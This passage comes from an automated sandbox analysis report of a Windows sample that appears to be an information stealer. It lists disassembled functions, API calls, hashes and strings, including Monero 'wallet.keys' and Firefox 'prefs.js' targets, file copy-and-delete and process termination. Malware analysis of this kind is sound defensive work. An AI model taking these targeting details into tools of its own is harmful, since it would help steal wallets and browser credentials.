FindNextFileA.KERNEL32(000000FF,?), ref: 00EB4DCD
FindClose.KERNEL32(000000FF), ref: 00EB4DE2

Strings

%s\%s, xrefs: 00EB4BF4
%s\%s, xrefs: 00EB4C4B
%s\*, xrefs: 00EB4B70

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 396791304653753620bdb630f81535ecb54182a4c48e7fb42a5fa46e80060fef
Instruction ID: 9484390597061e852ddecc4954f7d9f96f79ee9791cf674bb6dfac755af47fd4
Opcode Fuzzy Hash: 396791304653753620bdb630f81535ecb54182a4c48e7fb42a5fa46e80060fef
Instruction Fuzzy Hash: B7614CB5900218ABCB34EBA0DD49FEA737CBB48700F00459CF619A6185EB71ABC5CF91

Function 00EB47C0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00EB47D0
RtlAllocateHeap.NTDLL(00000000), ref: 00EB47D7
wsprintfA.USER32 ref: 00EB47F6
FindFirstFileA.KERNEL32(?,?), ref: 00EB480D
StrCmpCA.SHLWAPI(?,00EC0FAC), ref: 00EB483B
StrCmpCA.SHLWAPI(?,00EC0FB0), ref: 00EB4851
FindNextFileA.KERNEL32(000000FF,?), ref: 00EB48DB
FindClose.KERNEL32(000000FF), ref: 00EB48F0
lstrcat.KERNEL32(?,01BFF750), ref: 00EB4915
lstrcat.KERNEL32(?,01BFE7E0), ref: 00EB4928
lstrlen.KERNEL32(?), ref: 00EB4935
lstrlen.KERNEL32(?), ref: 00EB4946

Strings

%s\*, xrefs: 00EB47EA
%s\%s, xrefs: 00EB486B

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 7df191f926746b5ec4473447dfb16584a11bfa7768df29c22f8528dd4b46c3d2
Instruction ID: f21d8ef353d1b4a2de32ef54374d960c3c4ed5295295f01a0acce22c2686f824
Opcode Fuzzy Hash: 7df191f926746b5ec4473447dfb16584a11bfa7768df29c22f8528dd4b46c3d2
Instruction Fuzzy Hash: 8A5166B59402189BCB28EF70DC89FEE77BCAB58300F405598F619A6185EB709BC4CF91

Function 00EB40F0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00EB4113
FindFirstFileA.KERNEL32(?,?), ref: 00EB412A
StrCmpCA.SHLWAPI(?,00EC0F94), ref: 00EB4158
StrCmpCA.SHLWAPI(?,00EC0F98), ref: 00EB416E
FindNextFileA.KERNEL32(000000FF,?), ref: 00EB42BC
FindClose.KERNEL32(000000FF), ref: 00EB42D1

Strings

%s\%s, xrefs: 00EB4107

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: dc6c63843ef5ad3942409c54b56d8fd34c7c967b029e1abf0462063974409362
Instruction ID: 380fef3419cefa44506e7b82c52f0ff24a418306faf867908f6e12565580a1b2
Opcode Fuzzy Hash: dc6c63843ef5ad3942409c54b56d8fd34c7c967b029e1abf0462063974409362
Instruction Fuzzy Hash: 8B514AB5900218ABCB28EBB0DD85EEA737CBB58300F4045DCF659A6185DB759BC5CF90

Function 00EAEE20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00EAEE3E
FindFirstFileA.KERNEL32(?,?), ref: 00EAEE55
StrCmpCA.SHLWAPI(?,00EC1630), ref: 00EAEEAB
StrCmpCA.SHLWAPI(?,00EC1634), ref: 00EAEEC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00EAF3AE
FindClose.KERNEL32(000000FF), ref: 00EAF3C3

Strings

%s\*.*, xrefs: 00EAEE32

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: aa91abf6558b61808e2ef3d409efcfea2e50640429257ec3b23d4c6906a96974
Instruction ID: 35b0ddc3ef786934ccabd5f5ae393cc6338230bbe6d1068f58c6d8c13537ab3e
Opcode Fuzzy Hash: aa91abf6558b61808e2ef3d409efcfea2e50640429257ec3b23d4c6906a96974
Instruction Fuzzy Hash: D8E11072911218AADF54FB60CDA2EEF73B9AF54300F4455F9B41A72092EE306B89CF51

Function 00EE0098 Relevance: 17.4, Strings: 13, Instructions: 1151COMMON

Download Yara Rule

Strings

te k, xrefs: 00EE053E
expand 32-by, xrefs: 00EE03C8
expand 3, xrefs: 00EE04E5
expa, xrefs: 00EE0461
te k, xrefs: 00EE0347
2-by, xrefs: 00EE036E
2-by, xrefs: 00EE00F6
expa, xrefs: 00EE05BB
2-byexpa, xrefs: 00EE0355
te k, xrefs: 00EE03B4
nd 3, xrefs: 00EE0117
te knd 3expand 32-by, xrefs: 00EE034E
nd 32-by, xrefs: 00EE04B4

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2-by$2-by$2-byexpa$expa$expa$expand 3$expand 32-by$nd 3$nd 32-by$te k$te k$te k$te knd 3expand 32-by
API String ID: 0-1562099544
Opcode ID: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
Instruction ID: 3dadc6e66ba112c1c793950841c7e168b6a1de68d752997a4921594d83fa2a76
Opcode Fuzzy Hash: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
Instruction Fuzzy Hash: 9DE276B09083808FD7A4CF29C580B8BFBE1BFC8354F51892EE99997211D770A959CF56

Function 00EAF7B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Part of subcall function 00EBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00EBAC82
Part of subcall function 00EBAC30: lstrcat.KERNEL32(00000000), ref: 00EBAC92

Part of subcall function 00EBACC0: lstrlen.KERNEL32(?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EBACD5
Part of subcall function 00EBACC0: lstrcpy.KERNEL32(00000000), ref: 00EBAD14
Part of subcall function 00EBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00EBAD22

Part of subcall function 00EBABB0: lstrcpy.KERNEL32(?,00EC0E1A), ref: 00EBAC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00EC16B0,00EC0D97), ref: 00EAF81E
StrCmpCA.SHLWAPI(?,00EC16B4), ref: 00EAF86F
StrCmpCA.SHLWAPI(?,00EC16B8), ref: 00EAF885
FindNextFileA.KERNEL32(000000FF,?), ref: 00EAFBB1
FindClose.KERNEL32(000000FF), ref: 00EAFBC3

Strings

prefs.js, xrefs: 00EAF912

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 6ddcbefb0910224f164865b77cfcd86cb7c37ae87222be14bf75b01a86d745ad
Instruction ID: 2ed65c430ea24b8e0b4a08b605c98af63804597989f6a44694ba1b457824439c
Opcode Fuzzy Hash: 6ddcbefb0910224f164865b77cfcd86cb7c37ae87222be14bf75b01a86d745ad
Instruction Fuzzy Hash: 0EB12171910118ABCF24FB60DD96FEE73B9AF55300F4455B8E41A7A181EF30AB48CB92

Function 00EA1710 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00EC523C,?,?,?,00EC52E4,?,?,00000000,?,00000000), ref: 00EA1963
StrCmpCA.SHLWAPI(?,00EC538C), ref: 00EA19B3
StrCmpCA.SHLWAPI(?,00EC5434), ref: 00EA19C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00EA1D80
DeleteFileA.KERNEL32(00000000), ref: 00EA1E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 00EA1E60
FindClose.KERNEL32(000000FF), ref: 00EA1E72

Part of subcall function 00EBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00EBAC82
Part of subcall function 00EBAC30: lstrcat.KERNEL32(00000000), ref: 00EBAC92

Part of subcall function 00EBACC0: lstrlen.KERNEL32(?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EBACD5
Part of subcall function 00EBACC0: lstrcpy.KERNEL32(00000000), ref: 00EBAD14
Part of subcall function 00EBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00EBAD22

Part of subcall function 00EBABB0: lstrcpy.KERNEL32(?,00EC0E1A), ref: 00EBAC15

Strings

\*.*, xrefs: 00EA1831

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: bd89d7ebcb4d205d5a87c6938f1dc49ac1269e8e5822f758704e04baaa18afc9
Instruction ID: c119a093f81ac5130c8913f1e4cfa8202df15531884b5033098a02cf5944f792
Opcode Fuzzy Hash: bd89d7ebcb4d205d5a87c6938f1dc49ac1269e8e5822f758704e04baaa18afc9
Instruction Fuzzy Hash: 9112EC71910118ABCF19EB60CDA6EEFB3B9AF54300F4455F9A11A76091EF306B89CF61

Function 00EADF10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Part of subcall function 00EBACC0: lstrlen.KERNEL32(?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EBACD5
Part of subcall function 00EBACC0: lstrcpy.KERNEL32(00000000), ref: 00EBAD14
Part of subcall function 00EBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00EBAD22

Part of subcall function 00EBABB0: lstrcpy.KERNEL32(?,00EC0E1A), ref: 00EBAC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00EC0C32), ref: 00EADF5E
StrCmpCA.SHLWAPI(?,00EC15C0), ref: 00EADFAE
StrCmpCA.SHLWAPI(?,00EC15C4), ref: 00EADFC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00EAE4E0
FindClose.KERNEL32(000000FF), ref: 00EAE4F2

Strings

\*.*, xrefs: 00EADF26

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 2b191945c6d4c701be5a7126856ca8ab7e11dcb7b0b11498793dbed54adfb515
Instruction ID: bb13f00b105a7b5bc6e29084cfc3cef74043aa9433de5b11e75561081d8c32b1
Opcode Fuzzy Hash: 2b191945c6d4c701be5a7126856ca8ab7e11dcb7b0b11498793dbed54adfb515
Instruction Fuzzy Hash: 32F1BF71924118AACF15FB60DDA6EEFB3B9AF14300F4465F9A01A72191EF306B89CF51

Function 00EADB80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Part of subcall function 00EBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00EBAC82
Part of subcall function 00EBAC30: lstrcat.KERNEL32(00000000), ref: 00EBAC92

Part of subcall function 00EBACC0: lstrlen.KERNEL32(?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EBACD5
Part of subcall function 00EBACC0: lstrcpy.KERNEL32(00000000), ref: 00EBAD14
Part of subcall function 00EBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00EBAD22

Part of subcall function 00EBABB0: lstrcpy.KERNEL32(?,00EC0E1A), ref: 00EBAC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00EC15A8,00EC0BAF), ref: 00EADBEB
StrCmpCA.SHLWAPI(?,00EC15AC), ref: 00EADC33
StrCmpCA.SHLWAPI(?,00EC15B0), ref: 00EADC49
FindNextFileA.KERNEL32(000000FF,?), ref: 00EADECC
FindClose.KERNEL32(000000FF), ref: 00EADEDE

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 049e945d78d13d62d7a3f69b48d23957813a1c3c541240cffb49898de68ddc12
Instruction ID: 73cd2224e0f773799e2a8a39d3fecd64dfc9eccd2bdd9db2da2c22a247c4dae9
Opcode Fuzzy Hash: 049e945d78d13d62d7a3f69b48d23957813a1c3c541240cffb49898de68ddc12
Instruction Fuzzy Hash: 7D913672A00104ABCF14FB70DD969EE73BD9B89340F4455B8F8177A185EE34AB48CB92

Function 00EB98E0 Relevance: 12.1, APIs: 8, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00EB9905
Process32First.KERNEL32(00EA9FDE,00000128), ref: 00EB9919
Process32Next.KERNEL32(00EA9FDE,00000128), ref: 00EB992E
StrCmpCA.SHLWAPI(?,00EA9FDE), ref: 00EB9943
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00EB995C
TerminateProcess.KERNEL32(00000000,00000000), ref: 00EB997A
CloseHandle.KERNEL32(00000000), ref: 00EB9987
CloseHandle.KERNEL32(00EA9FDE), ref: 00EB9993

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
